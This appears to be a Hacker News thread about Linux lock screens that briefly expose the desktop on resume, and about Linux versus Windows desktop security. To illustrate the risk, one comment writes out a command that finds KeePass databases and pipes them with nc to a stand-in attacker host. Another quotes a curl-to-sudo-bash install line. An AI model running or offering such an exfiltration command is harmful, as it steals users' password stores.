Slightly offtopic, but a common exploit(?) I frequently see with Linux desktop environments is a few seconds where the user's live desktop is displayed after resuming from standby, before the logon screen comes up. Not exactly a case of obtaining control of one's computer, but could be effectively used through repetition to transcribe any sensitive content that may have been onscreen.
It always struck me as a very strange phenomenon to occur given the apparent security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now, given modern distros that prioritise form-over-function more than they used to?
The security superiority of Linux in contrast to Windows is rooted in its server/headless form - all of that changes as soon as you start good old X
Wayland is supposed to fix most of those legacy shortcomings enabling proper app-level sandboxing. It took a while, but its implementations are more or less usable as daily drivers these days - if you're interested in desktop security, help to push Wayland to become a hassle free replacement of X is appreciated a lot
On the other hand, has Wayland figured out how to allow screen shots, screen sharing in video meetings, live streaming your screen and such things yet?
Yep, those things work (though both GNOME and KDE still have unstable compsitors, so take that as you will).
There is also pipewire going somewhat stable (I had issues with bluetooth but otherwise it worked perfectly), that would enable all these things without applications having to worry about the compository at all.
For the longest time we've been unable to get ActivityWatch [1] (an open-source automated time-tracker) to work reliably on Wayland due to the inability in many Wayland DEs to retrieve the title and app name of the active window.
Things have improved recently (in part due to our own efforts to submit PRs to DEs), but we still need one implementation per DE more or less, since many don't implement the "common" Wayland protocol to accomplish this (Gnome, KDE).
The issue is that you still need to sandbox your apps, if you sandbox your apps you could probably create a sandbox around X too. So far most wayland+flatpack apps are not secure but the GUIS advertise them as sandboxed.
Linux screen lockers are somewhat notorious for security-ish bugs like that. There's a project called XSecureLock that aims to address some of those, although I'm not sure if it fixes (or can fix) the restore-ram type bug you detailed.
When configured properly, xsecurelock does fix this type of bug. The key is to use the -l option of xss-lock, which passes a lock file descriptor to xsecurelock and waits for it to be closed before allowing the suspend.
> security superiority of Linux in contrast to Windows
This doesn't exists. Linux is more secure on the desktop because it doesn't attract hackers with its 1% market share and because its users are more tech savvy.
Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Also both systems pretty much don't have any sane security policy for the end user at all by default, because they both are trying to defend from the wrong threat - privilege escalation, - which is irrelevant for desktop users 90% of the time.
This is a common argument but the truth here is that Linux is deployed _far_ more commonly than windows. Just not in a desktop context.
I understand you clarified with “on the desktop” but the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user, etc are things which Windows is only just catching up with.
There are holes, but saying windows is more secure because it’s been attacked more ignores a huge part of the problem windows has had for generations: running as admin when you shouldn’t and sticking the UI into the kernel.
Windows isn't running anything as admin by default for a decade now. Every action that requires elevated privileges is asking for permission via UAC, same as (gk)sudo but more secure.
> the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user
These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below.
> sticking the UI into the kernel
Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective.
But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years.
Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
> Last time I checked, Xorg was running as root pretty much everywhere
Xorg hasn't needed to run as root for a long time; kernel mode setting (KMS) removed the main reason for it to run as root. Its successor (Wayland) never runs as root (unless, of course, your user is root itself).
> But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account
The current push towards sandboxing (flatpak, sandboxed browser processes, etc) makes privilege escalation relevant for desktop users again.
Using the settings used by most people, which do not show pop-ups when parts of Windows use privileges, is exactly as secure as allowing every program to do whatever it wants. It’s not a security boundary and exploits for it are not counted or fixed.
> > security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now
> This doesn't exists.
It does exist, but as mentioned by the parent comment, that security superiority of Linux in contrast to Windows is a reputation it earned in the late 1990s and early 2000s; back then (before Windows XP SP2), Windows was a security disaster. Both Windows and Linux got better at security since then.
> Arguably otherwise Windows has better defense because it comes with built-in virus scanner.
Back then (before Windows Vista), it didn't. And one could also argue that this might be because Windows needs a virus scanner more than Linux does.
This actually used to be a common problem I would have on macOS, especially when docked to an external display. I wonder if these problems are connected somehow.
I can see how that could come about (lumping window manager concerns all into the one bucket), but to me it's security implications make a good case for re-architecting this part of the system. I.e. having a separate part of the OS which marshals access to the visible desktop when transitioning between ACPI states.
For hardware-accelerated compositing situations, it might have something to do with unnecessarily long / out-of order retention of the GPU frame buffer, which I could conceive of as being dismissed as inconsequential in most circumstances.
Locking screens properly and securely is not entirely trivial.
There is some writing from the author of xscreensaver which makes for fun reading. Displaying the desktop for a few seconds could be the least of your worries. There have been multiple security issues in the past in various screen lockers that let you completely bypass the password screen (probably all fixed today, but who knows what else could be lurking).
I won't link it directly because I think (?) his site displays something else when your Referer header is hacker news. This should provide you with an entry point, and there are multiple other linux screensaver issues over the past years linked from that post.
https://www.google.com/search?q=jwz xscreensaver "The awful thing about getting it right the first time is that nobody realizes how hard it was."
You can also search for "XScreenSaver: On Toolkit Dialogs", but I think it's linked in that blog post.
It is entirely off-topic, and I have observed exactly the same phenomenon. I have also felt the same reaction - "Isn't Linux \"better\" "?
I have a 20.04 thinkpad that I rarely use for reasons (partly that it doesn't come out of suspend most of the time, forcing a hard reboot) but I remember this being a problem back when my Ubuntu install was functional :)
> a few seconds where the user's live desktop is displayed after resuming from standby
I would be surprised if this isn't configurable. In fact, I'm pretty sure that XScreenSaver has exactly this "fade" parameter as a number of seconds and can be disabled. No idea about other screensavers.
What?.. How could you generalize this across all of "Linux"? Or did you mean something else?
I know what you're talking about, and I'm pretty sure it's a very GNOME-specific problem (or gdm, or whatever login manager they use by default...) because when I started out on Ubuntu earlier this year, there was a very active bug report about it. I could actually probably find it if anyone was curious.
But I've long since ditched gnome because well, I hate it. On KDE now and never had this problem. I'm pretty sure this is not an "all of linux" problem at all though.
I use KDE and I have this problem. Similarly when I switch vterms (I have separate X11-Sessions for my personal and my work-from-home user account), I can briefly see the content of the session that I switched away from (without having locked it) before the lockscreen comes up.
Yes, you're right, I think I've picked up a little confirmation bias based on my choice of distro lineage (in hindsight all have been some derivation of Ubuntu, with some variant of a Gnome 2 / 3 desktop environment). I guess where I was coming from was that I would have expected some mechanism at the lower level of the OS to marshal this kind of behaviour, rather than it being trusted to the window manager. Maybe this stems from security being mainly thought of as a terminal / ssh-level concern, rather than the GUI.
This was maybe an issue back in the day but should be fixed now. logind has a PrepareForSleep event and a lock mechanism to let the lock screen show up before the machine goes to sleep.
It always struck me as a very strange phenomenon to occur given the apparent security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now, given modern distros that prioritise form-over-function more than they used to?